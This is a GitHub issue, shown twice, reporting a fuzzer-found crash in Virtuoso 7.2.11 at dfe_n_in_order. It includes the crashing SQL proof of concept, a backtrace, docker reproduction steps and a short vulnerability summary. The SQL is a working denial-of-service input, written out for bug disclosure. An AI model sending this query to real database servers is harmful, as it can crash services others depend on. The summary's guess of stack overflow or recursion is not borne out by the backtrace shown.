The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 INT PRIMARY KEY ) ;
 UPDATE v0 SET v1 = 16 WHERE v1 <= ( CASE WHEN 127 THEN 96412681.000000 ELSE CAST ( ( SELECT v1 FROM v0 WHERE ( CASE WHEN v1 IS NULL THEN 'x' WHEN 45 THEN 51012602.000000 ELSE 255 END ) = ( SELECT v1 FROM v0 WHERE v1 = ( SELECT v1 FROM v0 WHERE v1 = 'x' ) AND v1 = 'x' ORDER BY v1 ) ORDER BY v1 DESC ) AS FLOAT ) END ) AND ( v1 > 27 ) AND v1 = v1 AND v1 < 0 ;
```

backtrace:
```c
#0 0x6c15f4 (dfe_n_in_order+0xa4)
#1 0x6c2abf (dfe_vec_inx_cost+0x9f)
#2 0x6d14e3 (dfe_table_cost_ic_1+0x18b3)
#3 0x6d3801 (dfe_table_cost_ic+0x71)
#4 0x6f40e2 (sqlo_choose_index+0x722)
#5 0x6f7434 (sqlo_tb_col_preds+0x1384)
#6 0x70193e (sqlo_place_table+0x104e)
#7 0x70967b (sqlo_try+0xdb)
#8 0x70ac5c (sqlo_layout_1+0x94c)
#9 0x6eadab (sqlo_layout+0x5fb)
#10 0x6e66f0 (sqlo_place_exp+0x1540)
#11 0x6e69f7 (sqlo_place_exp+0x1847)
#12 0x6f73c0 (sqlo_tb_col_preds+0x1310)
#13 0x70193e (sqlo_place_table+0x104e)
#14 0x70967b (sqlo_try+0xdb)
#15 0x70ac5c (sqlo_layout_1+0x94c)
#16 0x6eadab (sqlo_layout+0x5fb)
#17 0x6e66f0 (sqlo_place_exp+0x1540)
#18 0x6eb681 (sqlo_pred_body+0x241)
#19 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#20 0x70193e (sqlo_place_table+0x104e)
#21 0x70967b (sqlo_try+0xdb)
#22 0x70ac5c (sqlo_layout_1+0x94c)
#23 0x6eadab (sqlo_layout+0x5fb)
#24 0x6e66f0 (sqlo_place_exp+0x1540)
#25 0x6e69f7 (sqlo_place_exp+0x1847)
#26 0x6e5dc3 (sqlo_place_exp+0xc13)
#27 0x6f6fdb (sqlo_tb_col_preds+0xf2b)
#28 0x70193e (sqlo_place_table+0x104e)
#29 0x70967b (sqlo_try+0xdb)
#30 0x70ac5c (sqlo_layout_1+0x94c)
#31 0x6eadab (sqlo_layout+0x5fb)
#32 0x70eb45 (sqlo_top_2+0x335)
#33 0x70e465 (sqlo_top_1+0xf5)
#34 0x7101b1 (sqlo_query_spec+0x1a1)
#35 0x7e0258 (sqlc_update_searched+0x548)
#36 0x6b9ac2 (sql_stmt_comp+0x812)
#37 0x6bc9d2 (sql_compile_1+0x1a62)
#38 0x7cba60 (stmt_set_query+0x340)
#39 0x7cd952 (sf_sql_execute+0x922)
#40 0x7cecde (sf_sql_execute_w+0x17e)
#41 0x7d799d (sf_sql_execute_wrapper+0x3d)
#42 0xe214bc (future_wrapper+0x3fc)
#43 0xe28dbe (_thread_boot+0x11e)
#44 0x7f41a8624609 (start_thread+0xd9)
#45 0x7f41a83f4133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
Fuzzer: Virtuoso 7.2.11 crashed at `dfe_n_in_order`
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : Fuzzer: Virtuoso 7.2.11 crashed at `dfe_n_in_order`
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer. It can also be reproduced in the beta docker image.
```SQL
CREATE TABLE v0 ( v1 INT PRIMARY KEY ) ;
 UPDATE v0 SET v1 = 16 WHERE v1 <= ( CASE WHEN 127 THEN 96412681.000000 ELSE CAST ( ( SELECT v1 FROM v0 WHERE ( CASE WHEN v1 IS NULL THEN 'x' WHEN 45 THEN 51012602.000000 ELSE 255 END ) = ( SELECT v1 FROM v0 WHERE v1 = ( SELECT v1 FROM v0 WHERE v1 = 'x' ) AND v1 = 'x' ORDER BY v1 ) ORDER BY v1 DESC ) AS FLOAT ) END ) AND ( v1 > 27 ) AND v1 = v1 AND v1 < 0 ;
```

backtrace:
```c
#0 0x6c15f4 (dfe_n_in_order+0xa4)
#1 0x6c2abf (dfe_vec_inx_cost+0x9f)
#2 0x6d14e3 (dfe_table_cost_ic_1+0x18b3)
#3 0x6d3801 (dfe_table_cost_ic+0x71)
#4 0x6f40e2 (sqlo_choose_index+0x722)
#5 0x6f7434 (sqlo_tb_col_preds+0x1384)
#6 0x70193e (sqlo_place_table+0x104e)
#7 0x70967b (sqlo_try+0xdb)
#8 0x70ac5c (sqlo_layout_1+0x94c)
#9 0x6eadab (sqlo_layout+0x5fb)
#10 0x6e66f0 (sqlo_place_exp+0x1540)
#11 0x6e69f7 (sqlo_place_exp+0x1847)
#12 0x6f73c0 (sqlo_tb_col_preds+0x1310)
#13 0x70193e (sqlo_place_table+0x104e)
#14 0x70967b (sqlo_try+0xdb)
#15 0x70ac5c (sqlo_layout_1+0x94c)
#16 0x6eadab (sqlo_layout+0x5fb)
#17 0x6e66f0 (sqlo_place_exp+0x1540)
#18 0x6eb681 (sqlo_pred_body+0x241)
#19 0x6f7561 (sqlo_tb_col_preds+0x14b1)
#20 0x70193e (sqlo_place_table+0x104e)
#21 0x70967b (sqlo_try+0xdb)
#22 0x70ac5c (sqlo_layout_1+0x94c)
#23 0x6eadab (sqlo_layout+0x5fb)
#24 0x6e66f0 (sqlo_place_exp+0x1540)
#25 0x6e69f7 (sqlo_place_exp+0x1847)
#26 0x6e5dc3 (sqlo_place_exp+0xc13)
#27 0x6f6fdb (sqlo_tb_col_preds+0xf2b)
#28 0x70193e (sqlo_place_table+0x104e)
#29 0x70967b (sqlo_try+0xdb)
#30 0x70ac5c (sqlo_layout_1+0x94c)
#31 0x6eadab (sqlo_layout+0x5fb)
#32 0x70eb45 (sqlo_top_2+0x335)
#33 0x70e465 (sqlo_top_1+0xf5)
#34 0x7101b1 (sqlo_query_spec+0x1a1)
#35 0x7e0258 (sqlc_update_searched+0x548)
#36 0x6b9ac2 (sql_stmt_comp+0x812)
#37 0x6bc9d2 (sql_compile_1+0x1a62)
#38 0x7cba60 (stmt_set_query+0x340)
#39 0x7cd952 (sf_sql_execute+0x922)
#40 0x7cecde (sf_sql_execute_w+0x17e)
#41 0x7d799d (sf_sql_execute_wrapper+0x3d)
#42 0xe214bc (future_wrapper+0x3fc)
#43 0xe28dbe (_thread_boot+0x11e)
#44 0x7f41a8624609 (start_thread+0xd9)
#45 0x7f41a83f4133 (clone+0x43)
```

ways to reproduce (write poc to the file /tmp/test.sql first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba  pkleef/virtuoso-opensource-7
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
cat /tmp/test.sql | docker exec -i virtdb_test isql 1111 dba
```
--- end body ---

A segmentation fault in Virtuoso 7.2.11 at the `dfe_n_in_order` function allows attackers to crash the database server by executing specially crafted SQL statements. This vulnerability can be exploited through a fuzzer-generated SQL command that leads to a stack overflow or infinite recursion, resulting in a Denial of Service (DoS).